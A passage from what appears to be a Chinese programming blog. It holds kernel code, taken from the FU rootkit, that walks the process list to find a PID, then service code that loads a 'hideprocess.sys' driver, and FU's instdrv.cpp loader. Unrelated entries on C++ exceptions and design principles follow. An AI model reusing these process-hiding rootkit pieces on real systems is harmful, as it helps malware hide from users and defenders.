 if (terminate_PID == 0)
  return terminate_PID;

 eproc = (DWORD) PsGetCurrentProcess();
 start_PID = *((DWORD*)(eproc+PIDOFFSET));
 current_PID = start_PID;

 while(1)
 {
  if(terminate_PID == current_PID)
   return eproc;
  else if((i_count >= 1) && (start_PID == current_PID))
  {
   return 0×00000000;
  }
  else {
   plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
   eproc = (DWORD) plist_active_procs->Flink;
   eproc = eproc – FLINKOFFSET;
   current_PID = *((int *)(eproc+PIDOFFSET));
   i_count++;
  }
 }
}
 

FU_rootkit中的就很好,用的时候就吧驱动加进去,通过创建服务,再次调用的时候也没问题,,,开始的时候自己弄的不对,把创建的过程贴整理出来,把FU_rootkit中的相关的文件也带上

 //创建服务,加载驱动
 GetCurrentDirectory(1024,currentdir);
 sprintf(pAth,"%s\\%s",currentdir,"hideprocess.sys");

 hSCMAnAger = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);

 //remove old instAnces
 hSCHAndle = OpenService(hSCMAnAger,
       "hideprocess.sys",
       SERVICE_ALL_ACCESS
       );
 if (hSCHAndle == NULL){
  //throw
 }
 DeleteService(hSCHAndle);
 CloseServiceHandle(hSCHAndle);

 //ignore success of instAllAtion:it mAy AlreAdy be instAlled
 hSCHAndle = CreateService(hSCMAnAger,
        "hideprocess.sys",
        "hideprocess.sys",
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_NORMAL,
        pAth,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL
        );
 if (hSCHAndle == NULL){
  //throw
 }
 CloseServiceHandle(hSCHAndle);

 //ignore success of stArt: it mAy ALreAdy be stAarted
 hSCHAndle = OpenService(hSCMAnAger,
       "hideprocess.sys",
       SERVICE_ALL_ACCESS
       );
 if (hSCHAndle == NULL){
  //throw
 }
 StartService(hSCHAndle,0,NULL);
 CloseServiceHandle(hSCHAndle);

 //do mAke sure we cAn open it.
 hAndle = CreateFile("\\\\.\\utyDriver",
      GENERIC_READ | GENERIC_WRITE,
      0,
      NULL,
      OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL,
      NULL
      );
 if (hAndle == ((HANDLE)-1)){
  //throw
 }
 
 CloseServiceHandle(hSCMAnAger);

过程就是这样,


instdrv.cpp

///////////////////////////////////////////////////////////////////////////////////////
// Filename Instdrv.cpp
//
// Author: Sysinternals who adapted it from Microsoft’s DDK then stolen by Fuzen.
//         No really, buy Mark Russinovich’s book because he rocks.
//
// Date:    5/27/2003
// Version: 1.0
 
#include <windows.h>
#include <winuser.h>
#include <stdlib.h>
#include <string.h>

BOOL LoadDeviceDriver( const char * Name, const char * Path,
       HANDLE * lphDevice, PDWORD Error );
BOOL UnloadDeviceDriver( const char * Name );
BOOL InstallDriver( IN SC_HANDLE, IN LPCTSTR, IN LPCTSTR);
BOOL StartDriver( IN SC_HANDLE, IN LPCTSTR);
BOOL OpenDevice( IN LPCTSTR, HANDLE *);
BOOL StopDriver( IN SC_HANDLE, IN LPCTSTR);
BOOL RemoveDriver( IN SC_HANDLE, IN LPCTSTR);

/****************************************************************************
*
*    FUNCTION: InstallDriver( IN SC_HANDLE, IN LPCTSTR, IN LPCTSTR)
*
*    PURPOSE: Creates a driver service.
*
****************************************************************************/
BOOL InstallDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName, IN LPCTSTR ServiceExe )
{
    SC_HANDLE  schService;

    //
    // NOTE: This creates an entry for a standalone driver. If this
    //       is modified for use with a driver that requires a Tag,
    //       Group, and/or Dependencies, it may be necessary to
    //       query the registry for existing driver information
    //       (in order to determine a unique Tag, etc.).
    //

    schService = CreateService( SchSCManager,          // SCManager database
                                DriverName,           // name of service
                                DriverName,           // name to display
                                SERVICE_ALL_ACCESS,    // desired access
                                SERVICE_KERNEL_DRIVER, // service type
                                SERVICE_DEMAND_START,  // start type
                                SERVICE_ERROR_NORMAL,  // error control type
                                ServiceExe,            // service’s binary
                                NULL,                  // no load ordering group
                                NULL,                  // no tag identifier
                                NULL,                  // no dependencies
                                NULL,                  // LocalSystem account
                                NULL                   // no password
                                );
    if ( schService == NULL )
        return FALSE;

    CloseServiceHandle( schService );

    return TRUE;
}


/****************************************************************************
*
*    FUNCTION: StartDriver( IN SC_HANDLE, IN LPCTSTR)
*
*    PURPOSE: Starts the driver service.
*
****************************************************************************/
BOOL StartDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName )
{
    SC_HANDLE  schService;
    BOOL       ret;

    schService = OpenService( SchSCManager,
                              DriverName,
                              SERVICE_ALL_ACCESS
                              );
    if ( schService == NULL )
        return FALSE;

    ret = StartService( schService, 0, NULL )
       || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING
    || GetLastError() == ERROR_SERVICE_DISABLED;

    CloseServiceHandle( schService );
    return ret;
}

/****************************************************************************
*
*    FUNCTION: OpenDevice( IN LPCTSTR, HANDLE *)
*
*    PURPOSE: Opens the device and returns a handle if desired.
*
****************************************************************************/
BOOL OpenDevice( IN LPCTSTR DriverName, HANDLE * lphDevice )
{
    TCHAR    completeDeviceName[64];
    HANDLE   hDevice;

    //
    // Create a \\.\XXX device name that CreateFile can use
    //
    // NOTE: We’re making an assumption here that the driver
    //       has created a symbolic link using it’s own name
    //       (i.e. if the driver has the name "XXX" we assume
    //       that it used IoCreateSymbolicLink to create a
    //       symbolic link "\DosDevices\XXX". Usually, there
    //       is this understanding between related apps/drivers.
    //
    //       An application might also peruse the DEVICEMAP
    //       section of the registry, or use the QueryDosDevice
    //       API to enumerate the existing symbolic links in the
    //       system.
    //

 if( (GetVersion() & 0xFF) >= 5 ) {

  //
  // We reference the global name so that the application can
  // be executed in Terminal Services sessions on Win2K
  //
  wsprintf( completeDeviceName, TEXT("\\\\.\\Global\\%s"), DriverName );

 } else {

  wsprintf( completeDeviceName, TEXT("\\\\.\\%s"), DriverName );
 }

    hDevice = CreateFile( completeDeviceName,
                          GENERIC_READ | GENERIC_WRITE,
                          0,
                          NULL,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL
                          );
    if ( hDevice == ((HANDLE)-1) )
        return FALSE;

 // If user wants handle, give it to them.  Otherwise, just close it.
 if ( lphDevice )
  *lphDevice = hDevice;
 else
     CloseHandle( hDevice );

    return TRUE;
}


/****************************************************************************
*
*    FUNCTION: StopDriver( IN SC_HANDLE, IN LPCTSTR)
*
*    PURPOSE: Has the configuration manager stop the driver (unload it)
*
****************************************************************************/
BOOL StopDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName )
{
    SC_HANDLE       schService;
    BOOL            ret;
    SERVICE_STATUS  serviceStatus;

    schService = OpenService( SchSCManager, DriverName, SERVICE_ALL_ACCESS );
    if ( schService == NULL )
        return FALSE;

    ret = ControlService( schService, SERVICE_CONTROL_STOP, &serviceStatus );

    CloseServiceHandle( schService );

    return ret;
}


/****************************************************************************
*
*    FUNCTION: RemoveDriver( IN SC_HANDLE, IN LPCTSTR)
*
*    PURPOSE: Deletes the driver service.
*
****************************************************************************/
BOOL RemoveDriver( IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName )
{
    SC_HANDLE  schService;
    BOOL       ret;

    schService = OpenService( SchSCManager,
                              DriverName,
                              SERVICE_ALL_ACCESS
                              );

    if ( schService == NULL )
        return FALSE;

    ret = DeleteService( schService );
    CloseServiceHandle( schService );
    return ret;
}


/****************************************************************************
*
*    FUNCTION: UnloadDeviceDriver( const TCHAR *)
*
*    PURPOSE: Stops the driver and has the configuration manager unload it.
*
****************************************************************************/
BOOL UnloadDeviceDriver( const TCHAR * Name )
{
 SC_HANDLE schSCManager;

 schSCManager = OpenSCManager( NULL,                 // machine (NULL == local)
                                NULL,                 // database (NULL == default)
         SC_MANAGER_ALL_ACCESS // access required
        );

 StopDriver( schSCManager, Name );
 RemoveDriver( schSCManager, Name );
 
 CloseServiceHandle( schSCManager );

 return TRUE;
}

/****************************************************************************
*
*    FUNCTION: LoadDeviceDriver( const TCHAR, const TCHAR, HANDLE *)
*
*    PURPOSE: Registers a driver with the system configuration manager
*  and then loads it.
*
****************************************************************************/
BOOL LoadDeviceDriver( const TCHAR * Name, const TCHAR * Path,
       HANDLE * lphDevice, PDWORD Error )
{
 SC_HANDLE schSCManager;
 BOOL  okay;

 schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );

 // Remove old instances
 RemoveDriver( schSCManager, Name );

 // Ignore success of installation: it may already be installed.
 InstallDriver( schSCManager, Name, Path );

 // Ignore success of start: it may already be started.
 StartDriver( schSCManager, Name );

 // Do make sure we can open it.
 okay = OpenDevice( Name, lphDevice );
 *Error = GetLastError();
  CloseServiceHandle( schSCManager );

 return okay;
}

    今天在程序中用到了try throw cAtch,在c++中,举几个例子来总结下
在try{}的块中,如果发生异常,比如访问0地址,整除0等错误,用cAtch(…)来接,
eg.:
try{
 return *((DWORD*)0)
}
cAtch(…){
 printf("in cAtch …\n");
}

这样,当出错的时候进程就不会被终止,而是,执行了printf

另外也可以throw,throw就相当于return的作用,只不过,在try{}中throw后,就去执行cAtch{}中的内容,,要看thorw的类型,,不同的cAtch处理不同的类型
eg.:
try{
   throw (DWORD)0;
}
cAtch(DWORD error){
 printf("%d\n",error);//1
}
cAtch(char* error){
 printf("%s\n",error);//2
}
这种情况下就执行1处的语句

执行完cAtch{}中的语句后,就从cAtch{}后的下一条语句继续执行
eg.:
while(1){
 try{
  return *((DWORD*)0)
 }
 cAtch(…){
  printf("in cAtch …\n");
 }
}
会循环打印出in cAtch …

在cAtch{}中可以单独用throw再次抛出异常,将由更外一层try{}所对应的cAtch{}来处理
eg.:
try{
 try{
  return *((DWORD *) 0); 
 }
  
 catch(DWORD error){
  MessageBox(NULL,"in cAtch DWORD error","",0);
  throw;
 }
}
catch(…){
 printf("in cAtch …\n");
}
先运行了MessAgeBox,然后再被抛出,,,执行了外层try{}对应的cAtch{}中的printf

2005年08月17日

OCP :软件实体(类、模块、函数等等)应该是可以扩展的,但是不可修改的
—— Bertand Meyer

在许多方面,OCP都是面向对象设计的核心所在
遵循这个原则可以带来面向对象技术所声称的巨
大好处(灵活性、可重用性、易维护性)

2005年08月01日

将来想去"要饭"这个愿望我觉得你是不可能实现.一个有手有脚.年纪轻轻的小伙子谁会给你饭吃啊.如果想做邮递员嘛.倒还有点可能.我看现在的邮递员都是骑着自行车去给人家送信,如果真有那么一天.你骑着自行车,我可以坐在自行车后面陪你一起去为别人送信吗?